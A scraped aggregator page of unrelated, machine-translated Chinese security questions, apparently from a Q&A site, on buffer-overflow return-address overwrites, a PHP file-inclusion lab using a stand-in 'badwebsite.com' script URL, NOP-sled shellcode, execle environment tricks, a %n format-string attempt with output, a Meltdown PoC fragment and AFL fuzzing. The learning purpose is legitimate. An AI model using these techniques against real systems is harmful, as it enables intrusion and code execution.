我希望能够发现java代码中的反序列化问题.我应该寻找什么?例如,如何判断某些java代码是否试图利用" java calendar bug "?请注意,我不是一个java程序员,但我理解序列化和OOP背后的概念.我正在尝试实施一些安全检查(类似于编译器警告工具).
编辑:基于评论我想稍微改变一下这个问题:我认为所有的代码都是"不可信的",有没有办法如何评估潜在的危险?我的意思是,我可以告诉代码A在反序列化错误方面比B更危险吗?我应该寻找什么?
我刚刚写了一个C代码,如下所示:
#include<stdio.h>
#include<string.h>
void func(char *str)
{
char buffer[24];
int *ret;
strcpy(buffer,str);
}
int main(int argc,char **argv)
{
int x;
x=0;
func(argv[1]);
x=1;
printf("\nx is 1\n");
printf("\nx is 0\n\n");
}
Run Code Online (Sandbox Code Playgroud)
请告诉我如何跳过printf行("\nx是1 \n"); .之前我得到的线索是修改ret变量,它是函数func的返回地址.
您能否建议我如何更改上述程序中的返回地址,以便printf("\nx是1 \n"); 被跳过了.
我发布了这个问题,因为我不知道如何更改返回地址.
如果你帮助我,那将是很棒的.
谢谢
我正在尝试利用在VM内部运行的示例网站中的一些Web漏洞(它不在网络上 - 仅用于教育目的).我有一个名为php的文件setupreset.php,其中包含有关用于设置网站的MySQL配置,设置和密码的信息.这与其他php文件(索引,产品,论坛等)位于同一目录中.
这是index.php的代码,供参考:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
Run Code Online (Sandbox Code Playgroud)
主要目标是列出setupresetPHP文件的内容,或以某种方式下载它.如果我导航到这个文件:http://10.211.55.5/index.php?page=setupreset它会被执行,但PHP代码自然不会显示,因为它由PHP解释器解析.
现在,该网站使用PHP include,因此URL如下所示:http://10.211.55.5/index.php?page=products.这似乎是很容易受到远程文件包含,在那里我可以简单地指向另一个PHP页面,如http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php但allow_url_include是off,不能改变,所以这是不行的(这个我试过).但是,allow_url_fopen很可能(因为它默认打开),所以我的问题如下:是否可以上传PHP文件或一些列出setupreset.php使用此类漏洞利用内容的脚本?
假设我有一个具有缓冲区溢出漏洞的代码,如下所示
int func(const char *str){
char buffer[100];
unsigned short len = strlen(str);
if(len >= 100){
return -1;
}
strncpy(buffer,str,strlen(str));
return 0;
}
Run Code Online (Sandbox Code Playgroud)
(取自这个问题)
如果从另一个函数(而不是用户输入)获取输入并且str的长度始终小于100,是否有办法利用此漏洞?
例如
int main() {
int user_input;
if (cin >> user_input) {
if(user_input == 1)
func("aaaa");
else
func("bbbb");
}
}
Run Code Online (Sandbox Code Playgroud)
假设代码中没有其他漏洞.
只是一个假设的问题,任何想法?
我知道一个典型的基于堆栈的缓冲区溢出攻击有效负载看起来像这样:
(返回地址)(返回地址)...(返回地址)(返回地址)(返回地址)(返回地址)(NOP)(NOP)(NOP)(NOP)...(NOP)(NOP)(NOP) )(NOP)(SHELLCODE)
我也明白shellcode的成功执行取决于以下几点:
我没有得到的是使用这种技术的恶意软件如何能够始终正确地完成这两件事.在我看来,为了制作有效载荷,攻击者必须知道目标缓冲区的大致地址及其与返回地址的近似距离.
这两个通常是非常确定的吗?例如,如果攻击者在他的机器上执行了几次试验和错误会话,那么相同的有效负载是否会在具有完全相同二进制文件的所有其他计算机上运行?
我正在读一本名为“黑客:剥削的艺术”的书,我看到了这样一段话:
使用execl(),使用现有环境,但如果使用execle(),则可以指定整个环境。如果环境数组只是 shellcode 作为第一个字符串(用 NULL 指针终止列表),则唯一的环境变量将是 shellcode。这使得它的地址很容易计算。在 Linux 中,该地址将为 0xbffffffa,减去环境中 shellcode 的长度,再减去执行程序名称的长度。由于该地址是准确的,因此不需要 NOP 雪橇。
指定环境是什么意思?
不同环境如何分类?
为什么环境变量的地址是这样计算的(或者更具体地说为什么基地址是0xbffffffa)?
如果我使用 execl() 函数而不是 execle() ,我是否可以不使用 shellcode 环境变量?
是的,已经存在相当多的类似问题(5037601,19166698,4855162,14505995,5052648,13409508,7745146,7459630;对不起,没有足够的代表超过2个链接),是的,有一些很好的文章解释这种东西(点击,点击,http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html).我已经阅读了它们,我认为我得到了一般的想法,但我仍然失败,成功地利用了我能想到的最简单的训练玩具示例.
#include <stdio.h>
void f(char* a)
{
printf("a: %p\n", &a);
printf(a);
return;
}
void main(int argc, char** argv)
{
f(argv[1]); //please ignore the lack of any check
return;
}
Run Code Online (Sandbox Code Playgroud)
是的,堆栈是可执行的,是的,内存布局随机化被禁用.每次执行都给我相同的地址a.我可以提供它,例如$ ruby -e 'print "AAAA"+("%08x."*16)',这导致:
a: 0xbfffece0
AAAAbfffece0.bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.bfffecf0.00000fff.b7fd8420.00000000.41414141.78383025.3830252e.30252e78.252e7838.
Run Code Online (Sandbox Code Playgroud)
所以现在我可以看到我的输入最终在内存中.我可以用栈写一个值$ ruby -e 'print "12345%n"+("%08x."*16)',结果如下:
a: 0xbfffece0
12345bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.00000005.00000fff.b7fd8420.00000000.34333231.256e2535.2e783830.78383025.3830252e.30252e78.
Run Code Online (Sandbox Code Playgroud)
显然,我的最终目标可能是这样的<something><NOPs><shellcode>,其中<something>覆盖了返回地址,f以便程序将跳转到NOP底座并执行shellcode.但保存的返回地址的地址现在似乎取决于我的输入,对吧?类似的东西0xbfffece0 - len(input) - 12,假设一个12字节的序幕?也许这个例子毕竟不是最简单的......
我很困惑.有任何想法吗?
我读了关于Meltdown和Spectre的所有周末
我也已经阅读了针对Spectre和Meltdown的.pdfs,对于 那些寻求更多关于这些漏洞的知识的人来说,这是必读的,但遗憾的是没有提供有关代码的详细解释.
我在github上发现了各种PoC,这非常有趣,但我缺乏完全理解它的知识.关于特定部分的更多解释,我将感激不尽:
从这个链接https://github.com/dendisuhubdy/meltdown/blob/master/src/poc.c ,以及其他git存储库,这个漏洞的概念中有许多有趣的部分.
时间读
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if …Run Code Online (Sandbox Code Playgroud) 我有一个二进制文件,我一直在尝试使用 AFL 进行模糊测试,唯一的是 AFL 仅模糊 STDIN 和文件输入,并且该二进制文件通过其参数获取输入pass_read [input1] [input2]。我想知道是否有任何方法/模糊器允许以这种方式进行模糊测试?
我没有源代码,因此制作线束并不真正适用。